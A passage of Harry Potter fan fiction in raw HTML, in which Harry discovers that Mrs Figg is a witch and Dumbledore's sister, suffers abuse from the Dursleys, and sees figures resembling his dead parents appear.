class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello, Harry dear.&#8217;&nbsp; She called out, carrying a watering\ncan.&nbsp; &#8220;How\nare you doing today?&#8221;&nbsp; She\nalways wore a long dress with a little lace collar and lace on the cuffs.&nbsp; Her white hair was always up in a bun and\nshe wore black boots.&nbsp; Harry thought she&#8217;d fit into &#8216;Little House on the Prairie&#8217; quite well, especially with the white pinafore-apron combination.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine, Mrs Figg.&nbsp; And how are you and Minnie?&#8221;&nbsp; Minnie was a new cat Mrs Figg\nwas watching over for.&nbsp; She had told\nHarry it belonged to her brother and she was watching it for the summer.&nbsp; Actually, Harry thought the cat looked quite\nfamiliar, but wasn&#8217;t sure.&nbsp;\nHe decided to ignore it.&nbsp; It was\nquite temperamental; it hated to be petted and seemed to *cringe* every time\nMrs Figg told someone it *belonged* to her brother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just wonderful, Harry dear.&nbsp; And Minnie is also wonderful.&nbsp; She doesn&#8217;t\nseem to get on with the other cats though, but I know she&#8217;ll be fine.&nbsp; Right, Minnie?&#8221;&nbsp; Harry blinked as the cat glared\nup at Mrs Figg. <i style="mso-bidi-font-style:normal">Boy, that cat really\nlooks like Professor McGonagall</i><i style="mso-bidi-font-style:normal">&#8230;</i><i style="mso-bidi-font-style:normal">or Hermione</i><i style="mso-bidi-font-style:normal">&#8230;</i> But then Harry realised\nthat cats *can&#8217;t<b style="mso-bidi-font-weight:normal">*</b>\nglare at people.&nbsp; <i style="mso-bidi-font-style:\nnormal">Odd</i><i style="mso-bidi-font-style:normal">&#8230;</i>&nbsp; But then Mrs Figg brought him\nout of his thoughts.&nbsp; &#8220;Tell me, dear, how are your Aunt and Uncle?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry thought for a second.&nbsp; <i style="mso-bidi-font-style:normal">Having\nfun abusing me?&nbsp; Getting fatter every\nday?&nbsp; Getting *stupider* every day?</i>&nbsp; &#8220;They&#8217;re fine, Mrs Figg.&nbsp; Aunt Petunia&#8217;s straightening up at home, Uncle Vernon&#8217;s at\nwork and Dudley is by friends.&#8221;&nbsp; He smoothed his hair out of his eyes, shoved his glasses further\nup his nose and made a note to ask Madam Pomfrey how to get a new\nprescription.&nbsp; He was having a lot of\ntrouble making out things only five feet away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s nice.&nbsp; Greet Petunia for me, Harry, and please stop\nby anytime you want.&#8221;&nbsp; Mrs\nFigg smiled.&nbsp; &#8220;Minnie\nand Sniffles and Snuffles and Crabby and Socks and Mr Tittletoms and Buttons\nand Charcoal and Safety Pin and Tommy and O&#8217;Malley\nand Lucifer and Figaro and Coffee and Tea and Tiny and Patch and Libby and\nAbbey and Ziggy and Aurora and Calie and Lily and I all would be thrilled if\nyou ever visited.&#8221;&nbsp; Mrs\nFigg turned around, and then stopped as she reached her walkway.&nbsp; &#8220;Harry, I&#8217;d start watching out for doorways if I were you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared after her.&nbsp; Doorways?&nbsp;\nWhatever did she mean?&nbsp; &#8220;Bye Mrs Figg.&#8221;&nbsp; He\ncontinued to weed the garden.&nbsp; He was\nabout halfway done and it was ten in the morning.&nbsp; He had already been working for the last two and hoped that he\nwould be finished before lunch, though he knew that his portion would most\nlikely consist of a piece of lettuce and half of a carrot.&nbsp; Like normal.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did Mrs Figg want, boy?&#8221;&nbsp; Harry looked up from his\ndusting.&nbsp; Aunt Petunia was standing over\nhim, whisk in hand.&nbsp; Her dress had bits\nof flour over it and from the smell in the kitchen; it was obvious she had been\nbaking.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She just said hello to me, Aunt Petunia.&nbsp; She has a new cat and she also invited me\nover, when I want to come.&#8221;&nbsp; Though visiting Mrs Figg definitely wouldn&#8217;t be as thrilling as visiting Ron, after all, what old muggle lady could\nbe more fun than a fifteen year-old wizard, but he couldn&#8217;t see Ron, so he&#8217;d take Mrs Figg over the\nDursleys any day.&nbsp; Of course, he highly\ndoubted that Aunt Petunia would let him go, but he could still talk to her over\nthe fence and-</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She offered to have you over there?&nbsp; She&#8217;ll feed you? &nbsp;Fine.&nbsp;\nSpend as much time as you like over there, but *no magic*.&nbsp; If you do, I&#8217;ll\nhave Vernon flay you to an inch of your life.&#8221;&nbsp; She turned around and went back to the\nkitchen.&nbsp; Harry stared after her.&nbsp; Had she just let him go?&nbsp; He wasn&#8217;t\ngoing to wait and find out.&nbsp; He hurried\nwith his dusting, wanting to get out of the house before Aunt Petunia could\nchange her mind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, before you go, take some cookies to her for me.&nbsp; What a dear old woman, and if she has to put\nup with you over the summer&#8230;&#8221;&nbsp; Aunt Petunia\ncalled out, and then went out of earshot.&nbsp;\nHarry stood there, unbelieving.&nbsp;\nIt wasn&#8217;t just a joke, Aunt Petunia actually *meant* it.&nbsp; The last time he remembered his Aunt\nallowing him out of chores was well- *never*.&nbsp;\nEven if he was bloody and could hardly move, like earlier on in the\nsummer.&nbsp; He shook his head.&nbsp; Remembering *that* particular beating was\nnot something to do when faced with the prospect of freedom.&nbsp; Not *freedom*, but a few hours away from the\nDursleys made any day brighter in Harry&#8217;s opinion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finished with his dusting, he washed his hands dutifully-Aunt Petunia\nwas checking them all the time, and any spec of dirt anywhere near them got no\ndinner and usually a beating to match- he walked into the kitchen.&nbsp; Aunt Petunia was gone, but a platter of\ncookies stood on the counter with a note.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry picked up the note, making sure to do it left handed, his right\nhand still hadn&#8217;t healed from a beating a few days ago, and raised his eyebrows\nwhen he read it.&nbsp; &#8216;<i style="mso-bidi-font-style:\nnormal">Dear Mrs Figg, I shouldn&#8217;t wish to trouble you with my nephew; he can\nbe quite a handful and sometimes needs discipline.&nbsp; Send him home whenever you tire of him.&nbsp; And if you ever need help in the house, he&#8217;s excellent at chores\nand he&#8217;s too lazy.&nbsp; Some extra chores\nwouldn&#8217;t be amiss.&nbsp; -Petunia Dursley&#8217;</i>.&nbsp; Instead of beating him and making him help\nout at the Dursleys&#8217;, Aunt Petunia wanted to send him somewhere else?&nbsp; But then who would paint the house?&nbsp; Or clean all the windows?&nbsp; Or every other chore he did.&nbsp; But then again, Harry wasn&#8217;t about to\nprotest.&nbsp; Mrs Figg&#8217;s house might smell\nlike cabbage, but anywhere away from the Dursleys was heaven to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He picked up the cookies and left.&nbsp;\nAs he crossed over into Mrs Figg&#8217;s yard, he almost stopped short.&nbsp; It was almost as if he could *feel*\nsomething different about the place.&nbsp; He\nshook his head, walked up to the door and was about to ring the door when\nsomething crashed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly, Minnie, there&#8217;s no reason-&#8221; Came Mrs Figg&#8217;s voice.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No *reason*?&nbsp; Don&#8217;t\nmisunderstand me, I love your house and cats, but *being*-&#8221; A voice who was\nvery familiar to Harry, but one he couldn&#8217;t place spoke in indignation.&nbsp; Harry frowned.&nbsp; The remark should have told him who it was, but he just couldn&#8217;t\nthink for the life of him who it was.&nbsp;\nMaybe the last hit in the head had done something to his memory.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure it&#8217;s not *too* awful.&nbsp;\nFigaro seems to enjoy your company.&#8221;&nbsp;\nMrs Figg again.&nbsp; Harry wondered\nif he should knock or leave when there was a crash.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Arabella!&nbsp; Figaro is a nice\ncat, but then again, I AM NOT A *CAT*!&nbsp;\nAnd the only reason he likes me is because he wants to- wants to- how do\nI say this- he wants *kittens* from me!&#8221;&nbsp;\nArabella? There was another name he should have remembered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come, Minnie, you know that you are here for a *reason*.&nbsp; My brother wouldn&#8217;t have done this for any\nold reason.&#8221;&nbsp; Another crash.&nbsp; &#8220;But I am about to castrate that\n*dog*!&#8221;&nbsp; Suddenly silence.&nbsp; &#8220;Thank you, my dear dog.&nbsp; Now, why don&#8217;t you go join my brother and\nleave Minnie and I here.&#8221;&nbsp; Harry was\nwondering what was going on.&nbsp; The entire\nconversation was making no sense.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He made up his mind to ring the doorbell when it opened for him.&nbsp; He eyed the door with hesitation.&nbsp; But then, this was a *muggle&#8217;s* house, and\nwhat could be there that was dangerous for a wizard.&nbsp; He entered and then almost dropped the cookies.&nbsp; Mrs Figg was standing there with a very\ndisgruntled Professor McGonagall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Before he could say anything, Professor McGonagall started to\nspeak.&nbsp; &#8220;And you say I *belong* to your\nbrother.&nbsp; Honestly, Arabella, I *work*\nfor your brother.&nbsp; I do not *belong* to\nhim.&nbsp; That&#8217;s quite an inappropriate\nassociation, I must say.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, Minerva, these are *muggles*.&nbsp;\nI need a reason why I have a new cat, especially a new cat that isn&#8217;t\ngoing to stay here very long.&nbsp; And since\nit was my brother&#8217;s idea-&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Albus is a great wizard, don&#8217;t get me wrong.&nbsp; I highly respect him and believe him to be very talented and\nwonderful.&nbsp; But the idea of having me\nplay a *cat* for the summer to watch Harry is ridiculous.&nbsp; I&#8217;m going to start burping up hairballs soon\nand-&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But what Professor McGonagall hadn&#8217;t noticed, was that Mrs Figg&#8217;s\nattention wasn&#8217;t on her any more, but on the fifteen year-old boy standing with\nthe platter of cookies in his hands.&nbsp;\n&#8220;Why hello, Harry dear.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;*Crash*!&nbsp; Harry finally\ndropped the platter of cookies, causing Professor McGonagall to turn back into\na cat and to send all the other cats in the room running.&nbsp; Harry stood there, not even caring that the\nplatter had dropped and all the cookies were dirty.&nbsp; He was more concerned that his Transfiguration teacher and Head\nof House was standing, or, as the case was, ready to pounce in his old *muggle*\nneighbour&#8217;s house.&nbsp;\nOf course, if Professor McGonagall was there, he highly doubted Mrs Figg\n*was* muggle.&nbsp; &#8220;You-\nyou&#8217;re a witch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs Figg nodded, smiling.&nbsp;\n&#8220;Right, Harry dear.&nbsp; Arabella&#8217;s\nmy name and a certain Headmaster of yours happens to be my older brother.&nbsp; Figg is my married name.&#8221;&nbsp; And with that said, there was another crash\nas Harry landed on the floor next to the cookies.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh dear, I really shouldn&#8217;t have said that now, should I?&#8221;&nbsp; Mrs Figg said, crinkling her forehead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I really don&#8217;t understand how he could get in such a condition.&nbsp; Fainting on the floor doesn&#8217;t cause bruises\nand fractures to *this* degree.&nbsp;\nArabella, you really should send for Madam Pomfrey.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, Minerva, he&#8217;ll wake up any time now.&nbsp; And to the injuries&#8230;I suspect most of them are old, as in since\nthe beginning of summer.&nbsp; Most people\nwouldn&#8217;t have noticed it, but I *am* an old busybody who happens to have many\ncharms on the Dursleys and from what I&#8217;ve heard, I&#8217;d say the boy was getting\nbeaten.&nbsp; Badly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And the reason you haven&#8217;t said anything was-?&#8221;&nbsp; Harry tried to open his eyes, but found he\ncouldn&#8217;t.&nbsp; He was just so tired, and to\nbe able to lie in a bed, which actually had a sheet between him and the\nmattress was a blessing in deed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Any time I made up my mind to do something, he was fine.&nbsp; Healed.&nbsp;\nTo this day, I don&#8217;t know how he does it.&nbsp; I&#8217;d say he was a Healer, but that&#8217;s ridiculous. &nbsp;Healers are very rare, if there *are* any\nleft, and he is untrained.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aurora Potter had Healing Abilities to an extent, as did James.&nbsp; And Lily also had a bit.&nbsp; Not enough to do anything big, but a bit all\nthe same.&nbsp; Maybe Harry inherited the\nentire Healing ability.&nbsp; Now I think of\nit, there are times where it seems Harry should be in a lot worse condition\nthan he is.&#8221;&nbsp; Harry thought it was\nProfessor McGonagall again.&nbsp; He wondered\nwhat a &#8217;Healer&#8217; was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Minerva, if this boy turns out anything like his paternal grandmother\nof father, I&#8217;d say beware.&nbsp; Or even like\nLily&#8230;poor dear.&nbsp; I always did have a\nsoft spot for her.&nbsp; And I was so *glad* when\nshe and James started courting.&nbsp; And the\nwedding was gorgeous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Arabella, it was.&nbsp; But the\nmatter at hand is that Harry is lying in your guest bedroom unconscious,\nseverely bruised and with fractured bones.&nbsp;\nI&#8217;m surprised he can write at all.&nbsp;\nNow I think of it, I haven&#8217;t received a reply to the request in his\nHogwarts letter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s because you still haven&#8217;t sent out the letters to returning\nstudents.&nbsp; But you might as well give\nHarry his in person.&nbsp; No reason to tire\nout an owl when he&#8217;s staying a room away from you.&#8221;&nbsp; Harry tried to open his eyes again, but still couldn&#8217;t\nsucceed.&nbsp; He wondered why he was having\nso much trouble.&nbsp; But before he could contemplate,\nProfessor McGonagall spoke again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Won&#8217;t those relatives wonder where he is?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&nbsp; Petunia sent me a note\nwith the cookies.&nbsp; Apparently he&#8217;s free\nto stay as long as I wish.&nbsp; She even\noffered to have him do chores for me.&#8221; Silence, and then she clucked again.\n&#8220;Petunia Evans was such a nice girl once.&nbsp;\nI remember how she and Lily used to get along.&nbsp; And then Lily was accepted into Hogwarts and the friendship\ndisappeared.&nbsp; Petunia became jealous and\nspiteful.&nbsp; But even still I can&#8217;t\nbelieve that she allows Vernon to do such things to the boy.&nbsp; Poor Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know what you mean.&nbsp; Lily\ndidn&#8217;t have a spiteful or mean bone in her body, and she still didn&#8217;t care for\nPetunia.&nbsp; And Lily sometimes had to hold\nJames back from getting too mad at Petunia.&nbsp;\nIt was so tragic when the Evanses died.&nbsp;\nI didn&#8217;t know them personally or anything, but the fact that Lily had to\nspend a summer with her sister was awful enough in my opinion.&#8221; Harry could\nalmost sense sadness in Professor McGonagall&#8217;s voice.&nbsp; Harry knew that his parents had went to Hogwarts, and that they\nhad been Head Girl and Boy, but other than that, he knew absolutely nothing\nabout Lily or James Potter.&nbsp; He wondered\nhow well Professor McGonagall knew them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, Minnie, I was wondering about that letter you sent Harry a\nfew weeks ago.&nbsp; What was that\nabout?&nbsp; I knew it was no school letter,\nbut other than that I did not know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s been sending Albus letters about staying with Mr and Mrs\nWeasley.&nbsp; After the fifteenth one landed\nin my tea, I decided to request him to stop sending them.&nbsp; I know Albus wasn&#8217;t going to change his\nmind, and the constant owls were beginning to get annoying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see.&nbsp; You can&#8217;t blame the\nboy, though.&nbsp; I know how awful it must\nhave been.&nbsp; I just thank the stars he\nhas more of Lily&#8217;s personality than James&#8217;.&#8221;&nbsp;\nA dry laugh.&nbsp; &#8220;Though I must\nadmit James was never dull.&nbsp; I\nremembering in training he and young Sirius attempted to dye my hair pink.&nbsp; Thank goodness Albus used to play\npranks.&nbsp; Growing up with an older\nbrother *did* help me some in life, at least.&#8221;&nbsp;\nAlbus?&nbsp; That must have been Albus\nDumbledore.&nbsp; But Professor Dumbledore\ndidn&#8217;t have a sister, did he?&nbsp; And then\nHarry realised that he knew almost nothing about Professor Dumbledore, except\nthat he had a brother Aberforth who had experimented on goats and that he had\ntaught Transfiguration during Voldemort&#8217;s school time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s changed.&nbsp; He&#8217;s a lot\ndifferent at Hogwarts than he is at home.&nbsp;\nHe seems to have a knack of getting into trouble with out trying\nto.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He reminds me Aurora.&nbsp; James\ntook after his uncle, than goodness not his father.&nbsp; And Harry takes after his grandmother.&nbsp; It was really tragic when she died.&nbsp; I remember training her.&nbsp;\nShe wouldn&#8217;t let any thing get in the way of her friends and she was so\nnoble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She could have gotten into Slytherin.&nbsp;\nThe hat asked her, but since her brother was in Gryffindor, she also\nwanted to be in there&#8230;it makes me wonder what might have happened if Aurora had\nbeen in Slytherin&#8230;&#8221; Mrs Figg finished off.&nbsp;\n&#8220;I&#8217;ll go check on Harry now.&#8221;&nbsp;\nHarry again tried to open his eyes.&nbsp;\nHe had so many questions for her.&nbsp;\nBut his eyes still didn&#8217;t open.&nbsp;\nHe shut them as tight as he could, and then, with great determination,\nhis eyes flew open to see the face of Mrs Figg leaning over him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, Mrs Figg.&nbsp; I should, er- be\ngetting back now.&nbsp; They&#8217;re sure to\nworry.&#8221;&nbsp; He tried to get out of\nbed.&nbsp; He *hated* staying in bed, and he\nknew that the Dursleys would skin him if they thought he was opposing on Mrs\nFigg in anyway.&nbsp; But then again, from\nwhat Harry had heard, he rather thought that the Dursleys wouldn&#8217;t care a thing\nabout &#8216;dear old Mrs Figg&#8217; if they knew she was a witch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You aren&#8217;t going anywhere, Mr Potter.&nbsp;&nbsp; I have a letter, which you need to receive.&nbsp; Not to mention there are several bruises and\nfractures which need to be explained.&nbsp;\nYou *will* be staying with Arabella until other arrangements can be made\nfor you.&#8221;&nbsp; Harry looked up to Professor\nMcGonagall, standing in a pair of rumpled wizarding robes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked towards her and the old woman.&nbsp; &#8220;I fell down the stairs.&nbsp;\nIt was quite clumsy of me, but I *did*.&nbsp;\nSomething else Professor Snape can find fault with me for.&nbsp; And my Aunt and uncle will be very worried\nif I don&#8217;t get home soon.&nbsp; Especially if\nthey fear I am imposing on you, Mrs Figg.&#8221;&nbsp;\nHarry directed the last statement to Mrs Figg.&nbsp; Hopefully she at least understood the meaning of the sentence and\nwould let him go.&nbsp; The beating would be\nten times worse if he wasn&#8217;t allowed to leave.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;First thing, Harry, call me Arabella.&nbsp;\nAnd since I am the one maintaining the wards at your house, I believe\nyou will be perfectly safe in my company.&nbsp;\nThere is also the meaning of your bruises.&nbsp; I keep a very careful eye on that house, and though I can *not*\nsee nor hear *exactly* what is going on in that house, I can safely say that if\nyou *did* fall down the stairs as you claimed, it was because you were\npushed.&nbsp; I cannot allow you to stay\nthere very long, and therefore I suggest you go into your room, pack your\nthings and tell your relatives you are to stay with me.&nbsp; That way Minerva can return to Hogwarts and\nmust not be constantly in cat form.&nbsp; And\nI can also help you with your magic, and possible with your clothing\nsituation.&#8221;&nbsp; She eyed the clothes Harry\nwas wearing.&nbsp; &#8220;They don&#8217;t seem to fit\nyou very well, and it was blind of me to not notice such a thing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mrs Figg, there&#8217;s no worry.&nbsp;\nI&#8217;ll be fine at the Dursleys, and I know that you are next door&#8230;by the\nway, since when were you a witch?&#8221;&nbsp;\nHarry looked at her with a certain sternness he had inherited from\neither his mother or his grandmother, Arabella couldn&#8217;t tell which.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry-&#8221; But she stopped as he was already out of the door.&nbsp; She turned to Professor McGonagall.&nbsp; &#8220;I didn&#8217;t-&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, Arabella, I know.&nbsp;\nThere&#8217;s something about that boy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed as he was thrown into the cupboard.&nbsp; He had been spending a lot of nights in\nthere this summer.&nbsp; He wondered whether\nor not his relatives had gone to bed or not.&nbsp;\nIt didn&#8217;t matter really; Harry was at least locked in with his\nschoolbooks, though his wand he had removed.&nbsp;\nPacking for the summer, a feeling told him to remove his wand and other\nvaluables.&nbsp; He had done so, sticking\nthen inside his over sized pockets, and had watched Uncle Vernon throw the rest\nof his things into a metal safe and throw *that* into the garage.&nbsp; Harry had managed to hide his wand and\ninvisibility cloak upstairs in his room, and had also managed to save a few\nschoolbooks, which he had shrunken.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The problem, which Harry had realised early on in the summer, was that\nwhile his wand had been saved, it was in his room.&nbsp; Upstairs.&nbsp; He was\ndownstairs.&nbsp; Locked in the\ncupboard.&nbsp; And though the prospects had\nseemed very dismal at first, Harry had learned something about himself.&nbsp; He could do undetected magic.&nbsp; Without a *wand*.&nbsp; He didn&#8217;t even need to use a spell.&nbsp; All he had to do was *think* what he wanted.&nbsp; And he could also do much more advanced\nmagic than he could do at school.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The summer hadn&#8217;t been so bad.&nbsp;\nOr at least, it could have been worse.&nbsp;\nHe was still beaten, but he seemed to heal himself somehow.&nbsp; And when he needed food, he could just\n*wish* for it, and it would appear. And he could also get out of his\ncupboard.&nbsp; But first he had to be sure\nthat his relatives weren&#8217;t up.&nbsp; If they\nwere, well, he could kiss any form of freedom good-bye.&nbsp; He sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He liked Mrs Figg.&nbsp; Really.&nbsp; But he also knew that she had no idea of the\nsituation at the Dursleys.&nbsp; They blamed\n*everything* on him.&nbsp; And when they did,\nthey beat him.&nbsp; Or really, Vernon\ndid.&nbsp; Dudley too, when his father told\nhim so.&nbsp; And Aunt Petunia just watched.\nWhen she didn&#8217;t leave the room.&nbsp; When\nshe didn&#8217;t say she was busy with something else.&nbsp; Come to think of it, Aunt Petunia had only watched once, and then\nshe had fled, claiming to have to check the dinner in the oven.&nbsp; It had been three in the afternoon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He wondered what was wrong with his Aunt.&nbsp; She seemed to try to keep him busy.&nbsp; She had endless chores for him, but she never really criticised\nthem.&nbsp; And she also let him go to Mrs\nFigg&#8217;s.&nbsp; Which is how he had ended up in\nthe cupboard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He hadn&#8217;t realised how late it was, when he left Mrs Figg&#8217;s.&nbsp; But it was very late.&nbsp; And the Dursleys had all ready finished\ndinner.&nbsp; Uncle Vernon had asked him\nwhere he was.&nbsp; Aunt Petunia had answered\nfor him.&nbsp; Uncle Vernon had seemed to\nthink that that was okay, until he decided that Harry had been pestering Mrs\nFigg and that he had overstayed his welcome.&nbsp;\nHarry&#8217;s answer of asking Mrs Figg herself about why he had stayed so\nlong hadn&#8217;t pleased Uncle Vernon.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Uncle Vernon had beaten him repeatedly.&nbsp; He had screamed things at Harry, and when Harry had lost\nconsciousness for a few minutes, he had broken one of his legs.&nbsp; Then he had thrown Harry into the\ncupboard.&nbsp; And that is where Harry had\nstayed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had fixed his leg, wincing in pain as it healed and had also\nhealed his headache.&nbsp; And now he was\nwaiting for the Dursleys to be fast asleep so he could leave.&nbsp; That is, until he heard a sound.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t- be quiet!&#8221;&nbsp; Someone\nwhispered.&nbsp; It was a woman, but not his\nAunt.&nbsp; Nor Professor McGonagall, or Mrs\nFigg.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m trying to!&nbsp; But the house\nis pitch black and-&#8221; Another voice, familiar, but again implacable hissed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Noctus video.&nbsp;\nNoctus vides.&#8221;&nbsp; The first voice\nagain.&nbsp; &#8220;Honestly, I can&#8217;t believe you\ndidn&#8217;t think of that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Crash!&nbsp; &#8220;Well I&#8217;m *sorry*, but\nI&#8217;m obviously not as intelligent as you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be careful!&nbsp; We wouldn&#8217;t want\nto wake anyone up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Memory Charm.&nbsp; Quite a simple\npiece of magic.&nbsp; And then we also can\nask about Harry.&#8221;&nbsp; Harry?&nbsp; They were talking about *him*!&nbsp; He may despise the Dursleys, but he didn&#8217;t\nwant them dead by Voldemort&#8217;s hand.&nbsp; And\nit would have to be Death Eaters there, *that* must be why the voices were\nfamiliar, because of Voldemort&#8217;s &#8216;gathering&#8217; after the TriWizard Tournament.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t be daft.&nbsp; We can&#8217;t use\nmagic *here* and if he lives in a room like *that*, then it must not be a good\nsituation.&nbsp; It&#8217;s almost like he&#8217;s a\nprisoner.&nbsp; I can&#8217;t believe Petunia would\ndo such a thing&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come off of it, we have to find him.&nbsp; Where could he be?&nbsp; I\nstill say we should use a Searching Charm-OW!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I *told* you not to use magic.&nbsp;\nWe&#8217;re in a muggle house, and do *not* need the Ministry on our\nbacks.&#8221;&nbsp; Harry was very confused.&nbsp; At first he was sure they were Death Eaters,\nand then they seemed almost nice.&nbsp; Sort\nof like-like something he knew, but couldn&#8217;t place.&nbsp; He wondered if his memory was failing him.&nbsp; He seemed to forget a lot over the past few\nweeks.&nbsp; But then the two wizards had not\nwanted to be noticed by the Ministry of Magic and that was what made up Harry&#8217;s\nmind.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">If they don&#8217;t want the\nMinistry of Magic to know they&#8217;re here, then they must be doing something bad.</i>&nbsp; And summoning up all his courage and\nconcentrating on his magic, he swung the door open and barged out into the\nhallway where the two people stood.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blinked up at them, frozen.&nbsp;\nThe man was tall with unruly black hair, glasses and dressed in pyjamas\nand a dressing gown.&nbsp; The woman was\npetite with dark red-hair, and pale green wizarding robes.&nbsp; Neither of them had a wand, which made Harry\nwonder how they were planning on doing any magic.&nbsp; But it was their faces, which were suddenly highlighted in a pane\nof moonlight.&nbsp; &#8220;*Mum*? *Dad*?&#8221;</p>\n\n\n\n<p class="MsoNormal" 